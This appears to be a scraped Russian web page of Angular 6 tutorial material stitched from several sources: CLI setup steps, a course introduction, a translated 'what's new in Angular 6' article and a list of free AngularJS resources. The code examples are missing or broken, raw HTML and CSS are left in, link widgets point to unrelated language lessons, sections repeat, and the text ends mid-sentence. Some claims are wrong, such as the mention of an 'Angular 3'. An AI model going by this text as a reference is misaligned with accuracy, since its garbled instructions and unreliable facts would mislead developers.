Angular 6 уроки WEB start Компьютеры. Интернет. Заочное профессиональное обучение. 055-966-10-17 Обучение Широкий спектр программ и различных форм обучения Наши преимущества Наши программы обучения ориентированы на конкретного слушателя. Вы можете обучаться по одной из предложенных Вам программ, а можете самостоятельно составить, откорректировать, откорректировать свою персональную программу обучения. Преподаватель, консультант помогают Вам сориентироваться в материале курса при выборе программы обучения. Обучение индивидуальное. Преподаватель проводит занятие только для Вас, ориентируясь на Ваши возможности, предыдущие знания и опыт, скорость восприятия нового материала. Вы учитесь в удобное для Вас время , в удобной для Вас форме, может быть выбран гибкий график занятий, в соответствии с Вашими возможностями и пожеланиями. Обучение проводится дистанционно . Вы можете обучаться, сидя за Вашим компьютером дома или на работе, не тратя время на поездки к месту обучения. Регистрация на сайте Дополнительные материалы Angular 6 framework Angular Angular — это фреймворк, разработанный Google для создания клиентских (frontend WEB development) приложений. Прежде всего он предназначен для разработки SPA — проектов (Single Page Application), то есть одностраничных приложений. В этом плане Angular является наследником другого фреймворка AngularJS. В то же время Angular, начиная с версии 2, это не новая версия AngularJS, а принципиально новый фреймворк.
Последняя версия Angular на момент написания — Angular 6. Официальный репозиторий фреймворка на гитхаб: https://github.com/angular/angular.
Одной из ключевых особенностей Angular является то, что он использует в качестве языка программирования TypeScript. Можно писать приложения на Angular с помощью таких языков как Dart, ECMAScript или JavaScript. TypeScript является основным языком для Angular.
Язык TypeScript — это надмножество языка ECMAScript 6 (также известной как ECMAScript 2015, ES2015), которое компилируется в обычный код на JavaScript (ES5) и широко поддерживается современными ОС.
На настоящий момент браузеры не имеют встроенной поддержки ни TypeScript, ни ECMAScript 6, поэтому для публикации на сервеере код должен быть преобразован в код на JavaScript, поддерживаемый всеми браузерами.
Установка Angular NodeJS Установка NodeJS ( Node.js® — это среда выполнения для языка JavaScript, построенная на платформе JavaScript V8 для Chrome. https://nodejs.org/en/)
Node.js позволяет запускать JavaScript-код вне браузера.
Чтобы JavaScript код выполнился вне браузера (на backend), он должен быть интерпретирован и выполнен. Именно это и делает Node.js. Для этого он использует движок V8 VM от Google — ту же самую среду исполнения для JavaScript, которую использует браузер Google Chrome.
Скачать установочный пакет для нужной операционной системы и запустить установку, соогласно инструкции.
Так, например, для 32 bit Windows нужен файл: node-v8.9.4-x86.msi . Программа установки NodeJS для Windows одной из опций предлагает поставить также и npn.
Проверить версию (npm — это менеджер пакетов для JavaScript и самый большой реестр программного обеспечения https://www.npmjs.com/)
Если не поставили вместе с NodeJS, то скачать по ссылке https://nodejs.org/en/download/ и поставить дополнительно.
Некоторые команды p> npm list strong>
получить перечень локально установленны пакетов
npm list -g
список глобально установленных пакетов
Angular CLI Наиболее популярный инструмент для управления пректами Angular.
установить cli удалить cli npm uninstall -g angular-cli npm cache clean npm cache clean —force проверить установленную версию ng —version Редактор кода Для редактирования проектов на Angular удобно пользоваться, например:
Visual Studio Code
Новый проект Запустить консоль NodeJS
Перейти в папку с проектами Angular и запустить создание нового — project1 командой:
ng new project1
Перейти в папку созданного проекта
cd project1
CLI автоматически создаёт начальную структуру папок и файлов проекта.
В папке ./src/app находятся, в частности:
app.component.ts — первый Angular — компонент, корневой, он называется app-root app.module.ts — исполняемый модуль app.component.css — стили app.component.html — шаблон HTML для вывода в окно браузера ng serve
или, указав другой порт и директиву открыть сразу проект в браузере:
ng serve —port 3000 —open
Открыть запущенный проект в браузере
http://localhost:4200 (или, соответственно http://localhost:3000)
Файлы запущенного проекта можно редактировать в любом редакторе кодов (например: Notepad++). При сохранении изменений проект автоматически перезапускается и в окне браузера сразу отражаются изменения.
Отредактируем файл шаблона корневого компонента нашего приложения (), заменим его на:
Название проекта: << title >>! Наш первый проект с Angular 5 Сгенерировать проект для публикации
ng build —prod
Проект для публикации (HTML, CSS, JavaScript) по умолчанию создастся в папке dist
Все команды ng (Angular):
Angular компоненты (Components) Основной составляющий блок проекта на Angular — компонент.
Создаём новый компонент (Angular component) Создаём компонент с именем comp1 в паке существующего проекта
ng generate component comp1
По завершении команды в папке app проекта добавилась папка нашего нового компонента — src/app/comp1.
В файл app.module.ts добавилась строки описания нашего компонента:
По-умолчанию создался компонент с селектором: app-comp1. Используя этот селектор можно добавить новый компонент в наше приложение. Для этого в файле с шаблоном нашего приложения (app.component.html) добавим строки:
Название проекта: << title >>!
Наш первый проект с Angular 5 Шаблон нового компонента находится в его файле с именем:
srcappcomp1comp1.component.html
Отредактируем его, вставив строки:
Первый компонент! Запустить наше приложение с новым компонентом, проверить работу:
ng serve
Структура компонента Angular Компонет состоит из 3-х секций:
директива — import декоратор директива export Импортируем из библиотеки ‘@angular/core’ необходимые модули:
Некоторые компоненты могут содержать множество директив import
Декоратор компонента позволяет менять некоторые свойства нашего компонента (метаданные).
Приведённый ниже декоратор задаёт свойства компонента (selector, templateUrl, styleUrls).
selector — имя тега, использование которого инициирует наш компонент.
templateUrl — шаблон HTML (может быть именем файла или встроенным набором HTML — свойство template )
styleUrls — листы стилей (список файлов или встроенный — inline набор описаний стилей — свойство styles )
В директиве export описаны свойства и методы класса-компонента, которые будут доступны другим компонентам приложения
Файл компонента — программа на Typescript :
Шаблоны Angular (Angular templates) Создадим новый проект (app-my-first-component) и посмотрим, как работать с шаблонами и стилями.
Встроенные и внешние шаблоны (inline & external Angular templates) Параметры templateUrl и styleUrls , заданные в декораторе, определяют путь к внешним файлам, содержащим шаблон.
Параметры template и style описывают встроенный шаблон (соответственно HTML и CSS ). Если необходимо использовать несколько строк для inline описаний, то вместо ограничителя строки — кавычка (‘) используется ограничитель строки — backtick (`)
Inline HTML template Inline HTML template Встроенный HTML шаблон из трёх строк При использовании встроенного многострочного шаблона ограничитель строки — кавычка (‘) нужно заменить на другой символ — ` (backtick symbol слева сверху на клавиатуре)
Интерполяция строк (использование динамических данных) (Angular string interpolation) Свойства , заданные в описании класса компонента, могут быть вставлены в шаблон с использованием синтаксиса:
Например, если в компоненте описано свойство title :
То в шаблоне может быть использовано <
>:</p><p>Можно вставлять в шаблон свойства объекта (пример со встроенными — inline — стилями и шаблоном)</p><h2>Уроки Angular</h2><p style="clear: both"><noscript><img onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src="https://itproger.com/img/courses/1536163148.jpg" /></noscript><img class="lazyload" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://itproger.com/img/courses/1536163148.jpg" /></p><h2>Уроки Angular для начинающих / #1 — Введение в Angular</h2><h3>Видеоурок</h3><p><iframe src="https://www.youtube.com/embed/u1VCxpvDgsk?rel=0"></iframe></p><p><strong>Полезные ссылки:</strong></p><h2>Немного информация про Angular</h2><p>Библиотека Angular была создана компанией Google и до сих пор ею же поддерживается. Angular предназначена как библиотека для работы на стороне клиента, хотя возможности для работы на сервере также имеются. Библиотека служит для создания крупных веб сайтов и приложений, которые требуют большого набора функций.</p><p>Библиотека является частью стека MEAN . Стек разделяется на следующие технологии:</p><ul><li>MongoDB — база данных;</li><li>Express JS — дополнительная библиотека для Node JS. Позволяет отслеживать URL адреса;</li><li><strong>Angular</strong> — библиотека отвечающая за создание внешнего дизайна сайта;</li><li>Node JS — основная платформа, на которой происходит всё построение веб сайта. Обеспечивает все функции и работу с сервером.</li></ul><p>Angular принято использовать для крупных проектов, так как она позволяет гибко и быстро взаимодействовать с пользователем, а в стеке MEAN и вовсе полностью осуществлять всю работу с пользователем на сайте.</p><p>Сразу стоит сказать, <u>Angular</u> вовсе не является простой библиотекой и она на порядок сложнее чем React и не говоря уже про VueJS библиотеку. Тем не менее, эта сложность оправдана, так как ни одна другая библиотека не представляет такой гигантский набор функций и возможностей. Благодаря этому проектов на Angular в 5, а то и в 6 раз больше нежели у её конкурентов.</p><p>Сложность <u>Angular</u> заключается даже в многочисленном количестве её версий. Новички попросту теряются, ибо есть Angular JS, Angular 2, Angular 3, Angular 4, Angular 5, Angular 6 и сейчас Angular 7 и 8. При этом ведется разработка Angular 9 и, вполне возможно что скоро будет Angular 10.</p><p>В 2009 году появилась первая версия Angular JS или Angular 1 , которая очень скоро была переписана практически с нуля. Для новой версии даже был использован новый язык программирования. С тех пор начали появляться версии с названием Angular, которые отличались лишь цифрой. Конечно же, лучше учить самую передовую версию библиотеки, но даже если приступить ко второй версии, то ничего страшного не будет, так как базовый синтаксис библиотеки остался, практически, неизменным.</p><p>Скорее всего, на момент просмотра уже есть новая версия, но это вовсе не проблема, ведь полученные знания вам будут полезны и особых и кардинальных изменений вы не увидите.</p><h4>План курса</h4><p>В ходе курса мы создадим небольшой сайт и изучим все основные концепции в библиотеке <strong>Angular</strong>. Мы научимся работать с компонентами, создавать свойства, обрабатывать действия и создавать формы, а также познакомимся с маршрутизацией.</p><p>Этот видеокурс не рассчитан на новичков. Технология сложная и вам необходимо знать хотя бы: HTML , CSS , JavaScript и Node JS . Курсы по всем этим технологиям есть у нас на сайте, поэтому если что-либо не знаете, то лучше сперва доучить, дабы на протяжении курса по Angular не получились дополнительные вопросы.</p><h2>Установка Angular</h2><p>Для установки Angular необходим пакетный менеджер npm . Его можно получить установив Node JS на ваш компьютер.</p><p>После перейдите на сайт Angular CLI и следуйте командам, которые позволят установить библиотеку, а также запустить локальный сервер.</p><h4>Задание к уроку</h4><p>Выполните установку Node JS, а также Angular. Создайте проект и откройте его в текстовом редакторе.</p><p>Чтобы выполнить задание, вам лишь необходимо следовать инструкциям из видео.</p><p>Сперва скачайте Node JS и после установите Angular при помощи пакетного менеджера <strong>npm</strong>.</p><h4>Большое задание по курсу</h4><p>Вам необходимо оформить подписку на сайте, чтобы иметь доступ ко всем большим заданиям. В задание входит методика решения, а также готовый проект с ответом к заданию.<br /><b>PS:</b> подобные задания доступны при подписке от 1 месяца</p><h2>Что нового в Angular 6?</h2><p><b>Дата публикации:</b> 2018-04-25</p><p style="clear: both"><noscript><img onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src="https://webformyself.com/wp-content/uploads/2017/326/100.jpg" /></noscript><img class="lazyload" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://webformyself.com/wp-content/uploads/2017/326/100.jpg" /></p><p><em><strong>От автора:</strong> как многие из вас уже знают, вышел Angular 6 RC2, а скоро будет выпущен и GA. По мере приближения даты релиза, многим из нас было интересно, какие новые функции будут введены, и какие преимущества они нам предлагают. Для начала этот релиз делает Angular легче, быстрее и проще. Разработчикам он должен понравиться тем, что он еще упрощает процесс разработки. Итак, в Angular 6 что нового?</em></p><h3>Поддержка TypeScript 2.7+</h3><p>Благодаря поддержке для 2.7, теперь нам будет намного проще писать объявления условного типа, объявления по умолчанию и строгую инициализацию класса. Для получения полной информации по TypeScript 2.7 перейдите по этой ссылке.</p><h3>Элементы</h3><p>Этот пакет в первую очередь предназначен для использования преимуществ веб-компонентов, поддерживаемых всеми современными браузерами (кроме Edge). Это позволит вам создать компонент Angular и опубликовать его как веб-компонент, который можно использовать на любой HTML-странице.</p><p>Преобразование компонента в пользовательский элемент обеспечивает простой способ создания динамического HTML-контента в приложении Angular.</p><h3>Стабильный Angular Material с CDK ( Component Development Kit)</h3><p>Первоначальная версия Angular Material2 была выпущена в марте 2016 года, но ей не хватало количества компонентов, стабильности и совместимости с последними версиями Angular. Теперь он более стабилен и совместим с Angular 6. Многие компоненты Angular Material2 построены на базе CDK Toolkit, который является инструментарием разработки Agnostic. В этом релизе CDK Toolkit стабилен, и разработчики могут использовать этот инструментарий для более простого создания своих собственных компонентов, поскольку в этом наборе инструментов уже содержится большинство часто используемых утилит для сборки компонентов.</p><p style="clear: both"><noscript><img onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src="https://webformyself.com/wp-content/themes/web4my/images/cfms.jpg" /></noscript><img class="lazyload" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://webformyself.com/wp-content/themes/web4my/images/cfms.jpg" /></p><p>Как создать сайт самому?</p><p>Какие технологии и знания необходимы сегодня, чтобы создавать сайты самостоятельно? Узнайте на интенсиве!</p><h3>Ivy Renderer</h3><p>Ivy Renderer — это новый механизм рендеринга, который предназначен для обратной совместимости с существующим рендером и увеличения скорости рендеринга, он также оптимизирует размер финального пакета. Для Angular он не будет рендерером по умолчанию, но вы можете вручную включить его в параметрах компилятора. Я расскажу более подробно об Ivy в одном из следующих постов.</p><h3>Компилятор Bazel</h3><p>Bazel — это система сборки, используемая почти для всего программного обеспечения, созданного в Google. В этом релизе мы начнем поддержку компилятора Bazel. Когда вы компилируете код с помощью Bazel, вы перекомпилируете всю базу кода, но он компилируется только с необходимым кодом. Компилятор использует расширенное локальное и распределенное кэширование, оптимизированный анализ зависимостей и параллельное выполнение. Для получения более подробной информации перейдите по этой ссылке.</p><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://strong-stuff.ru/uroki/ispanskij-yazyk-za-7-urokov-dlya-nachinayushhih.html" target="_blank" class="ua1527bce361358417412716621a60284"><style>.ua1527bce361358417412716621a60284 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:inherit; border:0!important; border-left:4px solid inherit!important; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); text-decoration:none; } .ua1527bce361358417412716621a60284:active, .ua1527bce361358417412716621a60284:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ua1527bce361358417412716621a60284 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ua1527bce361358417412716621a60284 .ctaText { font-weight:bold; color:inherit; text-decoration:none; font-size: 16px; } .ua1527bce361358417412716621a60284 .postTitle { color:inherit; text-decoration: underline!important; font-size: 16px; } .ua1527bce361358417412716621a60284:hover .postTitle { text-decoration: underline!important; }</style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Читать еще:</span> <span class="postTitle">Испанский язык за 7 уроков для начинающих</span></div></a></div><h3>Дополние navigationSource и restoreState в NavigationStart</h3><p>В настоящее время в NavigationStart нет способа узнать, было ли выполнено принудительное инициирование навигации или изменение местоположения. При использовании navigationSource можно идентифицировать источник навигации, например, действие прокрутки или изменение URL / URI. restoreState предоставит восстановленный идентификатор навигации, который приведет к текущей навигации. Эти два свойства помогают нам обрабатывать несколько вариантов использования при маршрутизации.</p><p>NgModelChange — теперь это событие выдается после того, как значение и валидность обновляются в элементе управлении. Раньше он выдавалось перед обновлением. Поскольку теперь для него будет доступно обновленное значение элемента управления, обработчик станет более мощным.</p><p>Элемент управления формы statusChanges — Angular 6 выдает событие «PENDING», когда мы вызываем AbstractControl markAsPending.</p><p>Улучшение валидаторов шаблонов форм — до Angular 6 валидаторы шаблонов не должны были содержать границ строки, т.е. ^ и / или & и / или $. Ранее валидатор использовался для добавления этих границ сторк к шаблону проверки автоматически без перекрестной проверки существования этих границ строк. Из-за этого, когда разработчик предоставлял границы строк в шаблоне валидатора Validations, возникали ошибки. Теперь валидаторы проверяют перед добавлением границ строки, это означает, что валидаторы будут работать как ожидалось с границами строк или без них.</p><p>Добавлено несколько валидаторов для метода массива FormBuilder — до Angular 6 у нас не было способа передать несколько валидаторов методу formBuilder.array, что сейчас реализовано.</p><p>Новый необязательный универсальный тип ElementRef. Этот дополнительный универсальный тип помогает получить оригинальный элемент заданного пользовательского Element, как ElementRef Type.</p><h3>Функции, которые являются новыми в Angular CLI 1.7 и поддерживаются Angular 6</h3><p>Поддержка Schematics. Schematics — это технология потока для современной разработки веб-приложений, которая может применять к вашему проекту преобразования, например, при создании нового компонента или обновлении код, чтобы исправить нарушение изменений в зависимостях. Или добавленнии новых параметров конфигурации или новой структуры в существующий проект. Это помогает создавать собственные scaffolding для приложения.</p><p>Обновление ng — Теперь у нас есть команда автоматического обновления Angular зависимостей приложений CLI. Все ваши @angular/* зависимости будут обновлены до последней стабильной версии, которая включает в себя все основные пакеты в ваших зависимостях и devDependencies, такие как rxjs, zone, typescript и т. д., а также сам CLI. Эта функция поможет сэкономить время при переходе на следующую стабильную версию, поскольку разработчику не требуется вручную идентифицировать и обновлять версии зависимостей одноранговых узлов.</p><h3>Безопасность Service worker</h3><p>Service worker- это скрипт, который запускается в веб-браузере. Он также управляет кэшированием приложения. Но иногда, например, при развертывании последней версии приложения нам может понадобиться деактивировать / удалить существующий Service worker. На данный момент нет прямого способа отключить его. Чтобы полностью реализовать эту потребность, данный новый релиз содержит файл скрипта security-worker.js, который будет частью производственного пакета — он, в свою очередь, помогает нам отменить регистрацию существующего Service worker.</p><h3>App Budgets</h3><p>Многие из нас сталкиваются с проблемами увеличения размера приложения, поскольку мы добавляем больше функций, несмотря на то, что устанавливаем некоторые пороговые уровни при запуске разработки приложений. Пока нет механизма, предупреждающего нас о растущем размере приложения. App Budgets — это функция в Angular CLI, которая позволяет устанавливать пороговые значения для размера пакетов. Мы сможем настроить сообщения / предупреждения, когда размер пакета будет превышать установленный порог.</p><h3>Немного незначительных улучшений</h3><p>Поддержка одиночных, многострочных и jsdoc комментариев в коде.</p><p>Добавление возможности встраивания ресурса в ngc — Когда angularCompilerOptions <enableResourceInlining: true>, мы заменяем все свойства templateUrl и styleUrls в @Component шаблоном / стилями.</p><p>Улучшение обмена сообщениями об ошибках с помощью NgIf при использовании элементов без шаблона. <br />Полный Angular 6 является отличным релизом с большим количеством интересных функций, которые ускоряют разработку, развертывание и упаковку. Однако, поскольку в реализации анимации и формах ngModel наблюдается значительное количество изменений, переход от Angular 5 к Angular 6 может быть немного сложным, но интересным.</p><p><strong>Автор:</strong> Phani Kiran G</p><p><strong>Редакция:</strong> Команда webformyself.</p><p style="clear: both"><noscript><img onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src="https://webformyself.com/wp-content/themes/web4my/images/cfms.jpg" /></noscript><img class="lazyload" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://webformyself.com/wp-content/themes/web4my/images/cfms.jpg" /></p><p>Как создать сайт самому?</p><p>Какие технологии и знания необходимы сегодня, чтобы создавать сайты самостоятельно? Узнайте на интенсиве!</p><p style="clear: both"><noscript><img onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src="https://webformyself.com/wp-content/uploads/premium/2015/29/1.jpg" /></noscript><img class="lazyload" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://webformyself.com/wp-content/uploads/premium/2015/29/1.jpg" /></p><h2>Хотите узнать, что необходимо для создания сайта?</h2><p>Посмотрите видео и узнайте пошаговый план по созданию сайта с нуля!</p><h2>Angular 2 / Angular 4 / Angular 6</h2><p style="clear: both"><noscript><img onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" style="float: left; margin: 0 10px 5px 0;" src="https://18.185.47.240/wp-content/uploads/2016/12/angular6-image-800x445-300x167.jpg" /></noscript><img class="lazyload" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" style="float: left; margin: 0 10px 5px 0;" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://18.185.47.240/wp-content/uploads/2016/12/angular6-image-800x445-300x167.jpg" />Angular 4/6, полностью переработаное продолжение JavaScript фреймворка AngularJS. Переработанный с нуля специалистами Google, Angular 2/4/6 предоставляет рассширенные возможности для создания Single-page application, такие как, декларативные шаблоны, двухсторонний дата биндинг, поддержка TypeScript, и внедрение зависимостей. Вместо контроллеров, характерных для архитектуры MVC, Angular 2/4 теперь использует компоненты. Это обновление, подходит как для мобильных так и для веб разработчиков.</p><p><strong>Аудитория:</strong> Руководство предназначено для разработчиков которые хотят изучить основы Angular 6 и его концепции программирования, а так же для всех кто ищет для себя “что-то новое”. Описывает компоненты Angular 6 с примерами.</p><p><strong>Минимальные навыки:</strong> Базовые знания JavaSctipt. А так же, было бы хорошо знать смежные технологии HTML, CSS, AJAX, AngularJS и т.д.</p><h2><strong>Что такое Angular?</strong></h2><p><strong>Angular 6</strong> – это платформа, которая упрощает разработку веб-приложений. Angular 6 сочетает в себе декларативные шаблоны, инъекцию зависимостей, комплексный end-to-end инструментарий и уже имплементированные best practice для решения любой сложности задач. <em>Angular 6</em> позволяет создавать не только для веб-приложения но так же мобильные и десктопные программы.</p><h3>Структура уроков по Angular 6 на русском (angular.io):</h3><ol><li>Туториал<ol><li>Введение в Angular 6</li><li>CLI приложения Angular</li><li>“Редактор Героев”</li><li>Отображение списка</li><li>Master/Detail Компоненты</li><li>Сервисы</li><li>Роутинг</li><li>HTTP</li></ol></li><li>Основы<ol><li>Архитектура</li><li>Компоненты и шаблоны</li><li>Формы</li><li>Observers & RxJS</li><li>Конфигурирование, автозагрузка (bootstrapping)</li><li>Модули (NgModules)</li><li>Внедрение зависимостей</li><li>HTTP Клиент</li><li>Роутинг и навигация</li><li>Анимация</li><li>Тестирование</li><li>Чит-лист</li></ol></li><li>Техники<ol><li>Интернационализация (i18n)</li><li>Сервисы языка Angular</li><li>Безопасность / Защита приложений Angular</li><li>Установка и Развертывание</li><li>Сервис воркеры</li><li>Рендеринг на стороне сервера (Angular SSR)</li></ol></li></ol><p><strong>Структура уроков Angular 2 на русском (tutorialspoint):</strong></p><ul><li>Angular 2 – Обзор</li><li>Angular 2 – Окружение</li><li>Angular 2 – Hello World</li><li>Angular 2 – Архитектура</li><li>Angular 2 – Модули</li><li>Angular 4 – Компоненты</li><li>Angular 4 – Метаданные</li><li>Angular 4 – Дата биндинг</li><li>Angular 4 – Отображение данных</li><li>Angular 4 – Взаимодействие с пользователями</li><li>Angular 4 – Формы</li><li>Angular 4 – Сервисы</li><li>Angular 4 – Дерективы</li><li>Angular 4 – Внедрение зависимости</li></ul><h2>11 бесплатных обучалок AngularJS</h2><p>Однако Angular, вместе с тем, не самый легкий для освоения фреймворк. Поэтому нет ничего удивительного, что зачастую для его изучения официальной документации оказывается мало. Вот еще 11 ресурсов, где абсолютно бесплатно можно получить навыки управления Angular JS.</p><p style="clear: both"><noscript><img onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src="https://s3.amazonaws.com/geekbrains-uploads/geekbrains/public/ckeditor_assets/pictures/3986/content_angularjs-resources.jpg" /></noscript><img class="lazyload" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://s3.amazonaws.com/geekbrains-uploads/geekbrains/public/ckeditor_assets/pictures/3986/content_angularjs-resources.jpg" /></p><h3>Вебинар GeekBrains</h3><p>С чего начать, как не курса родного ресурса? Очень неплохой вебинар от Никиты Овчинникова, основанный на официальном руководстве от Google. С точки зрения информативности именно для новичков — одна из лучших видеопрезентаций на русском языке.</p><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://strong-stuff.ru/uroki/anglijskij-s-dmitriem-petrovym-urok-4.html" target="_blank" class="ubf1e1fbf56352f3ac3777eef05d76163"><style>.ubf1e1fbf56352f3ac3777eef05d76163 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:inherit; border:0!important; border-left:4px solid inherit!important; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); text-decoration:none; } .ubf1e1fbf56352f3ac3777eef05d76163:active, .ubf1e1fbf56352f3ac3777eef05d76163:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ubf1e1fbf56352f3ac3777eef05d76163 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ubf1e1fbf56352f3ac3777eef05d76163 .ctaText { font-weight:bold; color:inherit; text-decoration:none; font-size: 16px; } .ubf1e1fbf56352f3ac3777eef05d76163 .postTitle { color:inherit; text-decoration: underline!important; font-size: 16px; } .ubf1e1fbf56352f3ac3777eef05d76163:hover .postTitle { text-decoration: underline!important; }</style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Читать еще:</span> <span class="postTitle">Английский с дмитрием петровым урок 4</span></div></a></div><h3>Habrahabr учебник</h3><p>Перевод статьи Тодда Мотто, веб-разработчика Google. Обучалка очень сухая, не изобилует примерами, да и подаваемую информацию Тодд не разжевывает. Однако если вы уже прочли официальную часть, будет полезно ознакомиться для закрепления.</p><h3>The Web Land учебник</h3><p>Очень неплохой тезисный учебник по фреймворку, с примерами и картинками. Но с ним есть одна небольшая проблема — доступно чуть менее половины уроков. Появятся ли когда-либо остальные — вопрос который вы можете задать авторам. Пока к этому предпосылок нет.</p><h3>Руководство от Metanit</h3><p>Руководство «для чайников», основанное на официальном релизе. Реализация действительно удобная и понятная, обновление происходит периодически вместе с развитием Angular. Кроме того, авторы периодически отвечают на насущные вопросы, так что обязательно добавьте эту страницу в закладки, если хотите связать будущую профессию с JavaScript.</p><h3>Официальный русский CookBook</h3><p>Но конечно же, если браться за обучение, то официальный релиз рано или поздно придется изучить от корки до корки. Для начала ознакомьтесь с русской версией, потом, когда знания осядут в подкорке, повторите с оригинальной версией.</p><h3>Year Of Moo</h3><p>Понемногу переходим к англоязычной части. Для начала — очень хорошее руководство по базовым понятиям Angular. Помимо теории при помощи данного онлайн-учебника вы немного познакомитесь со взаимодействием Angular с MooTools и jQuery. А с такими знаниями уже можно серьезно работать.</p><h3>Codecademy</h3><p>Достаточно подробный курс по фреймворку, затрагивающий всё те же базовые понятия начала работы, директив, контроллеров, модулей, фильтров и т.д. Обучение идет через практические навыки, что вынуждает периодически обращаться к другим туториалам из сегодняшнего списка.</p><h3>Tutorialspoint</h3><p>Для наших постоянных читателей данный ресурс давно знаком. Здесь можно найти обучалку на английском языке почти по любой дисциплине. Вот и под ссылкой в заголовке скрывается близкое к официальному руководство по AngularJS, а здесь по Angular 2.</p><h3>От новичка к эксперту за 7 шагов</h3><p>Портал Ng Newsletter содержит тонны информации по Angular, но для новичка самая полезная — курс «from beginner to expert in 7 steps series». По правде говоря, экспертом на основе этого курса вы не станете, но пробелов в базовых вещах остаться не должно. Для экспертов — подпишитесь на их рассылки.</p><h3>AngularJS за 60 минут</h3><p>На Youtube вы без особого труда найдете видеоурок Дэна Уалина «AngularJS in 60 minutes». Под ссылкой спрятано PDF копия со слайдами и текстом. Будет полезно, кто не очень хорошо пока освоил английский язык.</p><h3>Shaping Up With Angular</h3><p>Закончим на сегодня одним из лучших комплексных курсов по AngularJS, из тех, что вы сможете пройти, не потратив ни копейки. 5 разделов, 12 коротких видеоуроков и 27 соревновательных заданий. Выполните все — получите 6 памятных бейджиков отличия, которые всегда можно предъявить в качестве подтверждения прохождения курса.</p><p>Angular — невероятно мощный JavaScript-фреймворк, который вам позволит создать веб или клиентское приложение любой сложности. С тех пор как он появился в 2009 году, десятки тысяч разработчиков ввели его в свой инструментарий.</p><p>Однако Angular, вместе с тем, не самый легкий для освоения фреймворк. Поэтому нет ничего удивительного, что зачастую для его изучения официальной документации оказывается мало. Вот еще 11 ресурсов, где абсолютно бесплатно можно получить навыки управления Angular JS.</p><p style="clear: both"><noscript><img onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src="https://s3.amazonaws.com/geekbrains-uploads/geekbrains/public/ckeditor_assets/pictures/3986/content_angularjs-resources.jpg" /></noscript><img class="lazyload" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20%20%22%3E%3C/svg%3E' data-src="https://s3.amazonaws.com/geekbrains-uploads/geekbrains/public/ckeditor_assets/pictures/3986/content_angularjs-resources.jpg" /></p><h3>Вебинар GeekBrains</h3><p>С чего начать, как не курса родного ресурса? Очень неплохой вебинар от Никиты Овчинникова, основанный на официальном руководстве от Google. С точки зрения информативности именно для новичков — одна из лучших видеопрезентаций на русском языке.</p><h3>Habrahabr учебник</h3><p>Перевод статьи Тодда Мотто, веб-разработчика Google. Обучалка очень сухая, не изобилует примерами, да и подаваемую информацию Тодд не разжевывает. Однако если вы уже прочли официальную часть, будет полезно ознакомиться для закрепления.</p><h3>The Web Land учебник</h3><p>Очень неплохой тезисный учебник по фреймворку, с примерами и картинками. Но с ним есть одна небольшая проблема — доступно чуть менее половины уроков. Появятся ли когда-либо остальные — вопрос который вы можете задать авторам. Пока к этому 